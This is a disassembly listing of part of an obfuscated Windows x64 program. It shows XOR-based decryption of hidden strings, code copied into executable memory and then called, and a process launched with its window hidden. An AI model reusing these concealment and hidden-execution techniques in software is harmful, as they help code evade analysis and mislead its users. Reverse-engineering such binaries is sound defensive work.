sub eax, ecx
lea rcx, [rsp + 0x3ae0]
cmp eax, 0xffffffff
jne 0x140238eb7
call fcn.14025a000
mov ecx, eax
jmp 0x140238efb
lea ebx, [rax + 1]
call fcn.14025a000
mov r12d, ebx
mov ecx, eax
imul rcx, r12
cmp ecx, ebx
jae 0x140238ef7
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140238ef7
nop word [rax + rax]
lea rcx, [rsp + 0x3ae0]
call fcn.14025a000
mov ecx, eax
imul rcx, r12
cmp ecx, ebx
jb 0x140238ee0
shr rcx, 0x20
mov ebx, dword [rsp + 0xd30]
add ebx, ecx
xor ebx, 0x80000000
mov eax, 1
cmove ebx, eax
mov ecx, dword [rsp + 0xdb0]
btc ecx, 0x1f
mov dword [rsp + 0x180], ecx
mov eax, dword [rsp + 0xdb4]
btc eax, 0x1f
sub eax, ecx
lea rcx, [rsp + 0x3ae0]
cmp eax, 0xffffffff
jne 0x140238f47
call fcn.14025a000
mov ecx, eax
jmp 0x140238fa3
lea r12d, [rax + 1]
mov dword [rsp + 0xd30], r12d
call fcn.14025a000
mov edx, r12d
mov ecx, eax
imul rcx, rdx
cmp ecx, r12d
jae 0x140238f9f
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x140238f9f
nop word [rax + rax]
lea rcx, [rsp + 0x3ae0]
call fcn.14025a000
mov ecx, eax
mov edx, dword [rsp + 0xd30]
imul rcx, rdx
cmp ecx, r12d
jb 0x140238f80
shr rcx, 0x20
add ecx, dword [rsp + 0x180]
btc ecx, 0x1f
mov eax, dword [rsp + 0x70]
add eax, ecx
mov dword [rsp + 0x70], eax
lea rdx, [rsp + 0x3ae0]
lea rcx, [rsp + 0xdb0]
call fcn.140249ce0
mov ecx, dword [rsp + 0x70]
imul eax, ecx
mov dword [rsp + 0x70], eax
lea rdx, [rsp + 0x3ae0]
lea rcx, [rsp + 0xdb0]
call fcn.140249ce0
mov ecx, dword [rsp + 0x70]
sub ecx, eax
mov dword [rsp + 0x70], ecx
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
idiv ebx
mov dword [rsp + 0x70], edx
sub qword [rsp + 0x188], 1
jne 0x140238e82
mov rbx, qword [rsp + 0x178]
jmp 0x140238e60
mov eax, dword [rsp + 0x70]
mov r8, qword [rsp + 0xfd8]
mov rdx, qword [rsp + 0xfd0]
sub r8, rdx
lea rcx, [rsp + 0x12b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x12b0]
call fcn.140243df0
nop
lea rcx, [rsp + 0x12b0]
call fcn.140201bd0
nop
lea rcx, [rsp + 0xfd0]
call fcn.140246370
mov r12d, dword [0x140291090]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xd18], xmm0
mov qword [rsp + 0xd28], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x1134], xmm1
movups xmmword [rsp + 0x1144], xmm1
movups xmmword [rsp + 0x1154], xmm1
movups xmmword [rsp + 0x1164], xmm1
movups xmmword [rsp + 0x1174], xmm1
movups xmmword [rsp + 0x1184], xmm1
mov dword [rsp + 0x1194], eax
mov dword [rsp + 0x1130], 0x68
lea rax, [rsp + 0xe70]
cmp qword [rsp + 0xe88], 0xf
cmova rax, qword [rsp + 0xe70]
mov qword [rsp + 0x560], rax
movups xmmword [rsp + 0xd50], xmm0
lea rcx, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], rcx
mov rax, qword [rcx]
xor rax, r13
mov qword [rsp + 0xd30], rax
mov qword [rsp + 0xd50], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x140293da0]
lea rbx, [0x14024a750]
test rax, rax
je 0x140239179
mov rdx, rsi
nop dword [rax + rax]
cmp rax, rbx
je 0x140239168
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x293da0]
test rax, rax
jne 0x140239150
jmp 0x140239179
mov r8, qword [r14 + rdx*8 + 0x297a60]
test r8, r8
jne 0x14023925f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1402391a2
mov r8, rsi
jmp 0x14023923e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402391b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402983c0]
mov qword [r14 + rax*8 + 0x293da0], rbx
mov qword [r14 + rax*8 + 0x297a60], r8
inc rax
mov qword [0x1402983c0], rax
lea rdx, [rsp + 0x560]
mov rcx, rdi
call r8
nop
mov rax, qword [rsp + 0xd30]
xor rax, r13
lea rcx, [rsp + 0x62c8]
mov qword [rcx], rax
movups xmm0, xmmword [0x14027dd68]
movups xmmword [rsp + 0x738], xmm0
movups xmm1, xmmword [0x14027dd78]
movups xmmword [rsp + 0x748], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1402394b5
mov r9d, esi
cmp r12d, 2
jl 0x140239467
mov edx, esi
movdqa xmm6, xmmword [rsp + 0xd70]
movdqa xmmword [rsp + 0xd30], xmm6
lea rcx, [rsp + 0x73c]
mov r8d, dword [rsp + 0xd30]
nop dword [rax]
nop dword [rax + rax]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r8d
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x1402392f0
jmp 0x1402394be
lea r10, [rsp + 0x738]
nop
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x20
jl 0x140239470
movdqa xmm6, xmmword [rsp + 0xd70]
lea rax, [rsp + 0x738]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1402394d0
mov rdx, qword [rsp + 0xe80]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x14023bdd8
lea rax, [rsp + 0xe70]
cmp qword [rsp + 0xe88], 0xf
cmova rax, qword [rsp + 0xe70]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x738]
lea rcx, [rsp + 0xa50]
call fcn.14024dd60
nop
lea rdx, [rsp + 0xa50]
lea rcx, [rsp + 0x1040]
call fcn.1401f9cc0
nop
lea rcx, [rsp + 0xa50]
call fcn.140248aa0
lea rdx, [rsp + 0x1040]
cmp qword [rsp + 0x1058], 7
cmova rdx, qword [rsp + 0x1040]
lea rax, [rsp + 0xd18]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1130]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov r8d, esi
test eax, eax
je 0x1402398e5
mov ebx, dword [rsp + 0xd28]
mov dword [rsp + 0x70], ebx
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movsd xmm0, qword [0x14027ccc0]
movsd qword [rsp + 0x248], xmm0
mov ecx, dword [0x14027ccc8]
mov dword [rsp + 0x250], ecx
movzx eax, byte [0x14027cccc]
mov byte [rsp + 0x254], al
cmp r12d, 2
jl 0x140239827
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm6
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14027ccc0]
xorps xmm2, xmm0
movd dword [rsp + 0x248], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x24c]
xorps xmm2, xmm1
movd dword [rsp + 0x24c], xmm2
movdqa xmm3, xmm12
punpckldq xmm3, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm2, xmm3
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm8
pmuldq xmm1, xmm8
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x250], xmm2
mov r8d, 0xc
mov eax, r8d
lea r9, [rsp + 0x248]
add r9, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
mov eax, 0xb2b78c13
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
sub dl, cl
add dl, 0x20
add dl, r8b
add dl, dl
xor byte [r9], dl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140239840
lea rdx, [rsp + 0x248]
mov rcx, r10
call fcn.14024a3c0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [0x1402940d1], 1
mov rcx, qword [rsp + 0xd18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xd20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm6, xmmword [str.________]
jmp 0x140239b89
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
movups xmm0, xmmword [0x14027d1f0]
movups xmmword [rsp + 0x9a0], xmm0
movups xmm1, xmmword [0x14027d200]
movups xmmword [rsp + 0x9b0], xmm1
movups xmm0, xmmword [0x14027d210]
movups xmmword [rsp + 0x9c0], xmm0
movups xmm1, xmmword [0x14027d220]
movups xmmword [rsp + 0x9d0], xmm1
mov eax, dword [0x14027d230]
mov dword [rsp + 0x9e0], eax
movdqa xmm6, xmmword [str.________]
cmp r12d, 2
jl 0x140239ae9
mov r8d, esi
lea rcx, [rsp + 0x9a0]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r8d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140239960
cmp r8d, 0x22
jge 0x140239b4f
movsxd rax, r8d
lea r9, [rsp + 0x9a0]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3b
mov eax, 0xb2b78c13
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x35
sub dx, cx
add dx, 0x20
add dx, r8w
add dx, dx
xor word [r9], dx
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x22
jl 0x140239b00
lea rdx, [rsp + 0x9a0]
mov rcx, r10
call fcn.14024a1a0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14024a380]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ebx, esi
mov dword [rsp + 0x70], ebx
movsd xmm0, qword [str._b_jvgP]
movzx eax, byte [0x14027cc88]
movsd qword [rsp + 0x110], xmm0
mov byte [rsp + 0x110], 0x48
xor byte [rsp + 0x111], 0x42
xor byte [rsp + 0x112], 0x44
xor byte [rsp + 0x113], 0x46
xor byte [rsp + 0x114], 0x48
xor byte [rsp + 0x115], 0x4a
xor byte [rsp + 0x116], 0x4c
xor byte [rsp + 0x117], 0x4e
xor al, 0x50
mov byte [rsp + 0x118], al
lea rax, [rsp + 0x110]
mov qword [rsp + 0x520], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd50], xmm0
lea rcx, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], rcx
mov rax, qword [rcx]
xor rax, r13
mov qword [rsp + 0xd30], rax
mov qword [rsp + 0xd50], rax
mov qword [rcx], rsi
mov ecx, esi
mov dword [rsp + 0x188], ebx
mov rax, qword [0x140295aa0]
test rax, rax
je 0x140239c8b
mov rdx, rsi
mov dword [rsp + 0x70], ebx
mov dword [rsp + 0x188], ebx
lea rbx, [0x14024a750]
cmp rax, rbx
je 0x140239c78
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x295aa0]
test rax, rax
jne 0x140239c60
jmp 0x140239c92
mov r8, qword [r14 + rdx*8 + 0x294790]
test r8, r8
jne 0x140239d7f
jmp 0x140239c92
lea rbx, [0x14024a750]
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140239cbb
mov r8, rsi
jmp 0x140239d5e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140239cd0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140294de8]
mov qword [r14 + rax*8 + 0x295aa0], rbx
mov qword [r14 + rax*8 + 0x294790], r8
inc rax
mov qword [0x140294de8], rax
lea rdx, [rsp + 0x520]
mov rcx, rdi
call r8
nop
mov rax, qword [rsp + 0xd30]
xor rax, r13
lea rcx, [rsp + 0x62c8]
mov qword [rcx], rax
mov ebx, esi
mov dword [rsp + 0x178], ebx
nop dword [rax]
cmp byte [0x1402940d1], 0
je 0x14023b7ef
test ebx, ebx
je 0x140239dcd
cmp ebx, 0x1f4
jle 0x140239eba
mov eax, dword [0x14027dc4c]
mov dword [rsp + 0xe8], eax
movzx ecx, word [0x14027dc50]
mov word [rsp + 0xec], cx
movzx eax, byte [0x14027dc52]
mov byte [rsp + 0xe8], 0x79
xor byte [rsp + 0xe9], 0x42
xor byte [rsp + 0xea], 0x44
xor byte [rsp + 0xeb], 0x46
xor cl, 0x48
mov byte [rsp + 0xec], cl
xor byte [rsp + 0xed], 0x4a
xor al, 0x4c
mov byte [rsp + 0xee], al
lea rax, [rsp + 0xe8]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140239e40
lea rdx, [rsp + 0xe8]
lea rcx, [0x140291d50]
call fcn.140248d40
lea rdx, [rsp + 0xdd0]
cmp qword [rsp + 0xde8], 0xf
cmova rdx, qword [rsp + 0xdd0]
lea rcx, [0x140291cf0]
cmp qword [0x140291d08], 0xf
cmova rcx, qword [0x140291cf0]
mov r8, qword [0x140291d00]
cmp r8, qword [rsp + 0xde0]
jne 0x14023b444
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14023b444
mov ebx, esi
mov dword [rsp + 0x178], ebx
lea rcx, [rsp + 0xdf8]
cmp qword [rsp + 0xe10], 0xf
cmova rcx, qword [rsp + 0xdf8]
mov r8, qword [rsp + 0xe08]
cmp r8, 7
jne 0x14023acb4
lea rdx, str.enabled
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14023acb4
movsd xmm0, qword [0x14027ccb0]
movsd qword [rsp + 0x1f8], xmm0
mov ecx, dword [0x14027ccb8]
mov dword [rsp + 0x200], ecx
cmp byte [0x14027ccbb], al
je 0x14023a1a5
mov r9d, esi
cmp r12d, 2
jl 0x14023a153
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [rsp + 0xd70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14027ccb0]
xorps xmm2, xmm0
movd dword [rsp + 0x1f8], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1fc]
xorps xmm2, xmm1
movd dword [rsp + 0x1fc], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x200], xmm2
jmp 0x14023a1a5
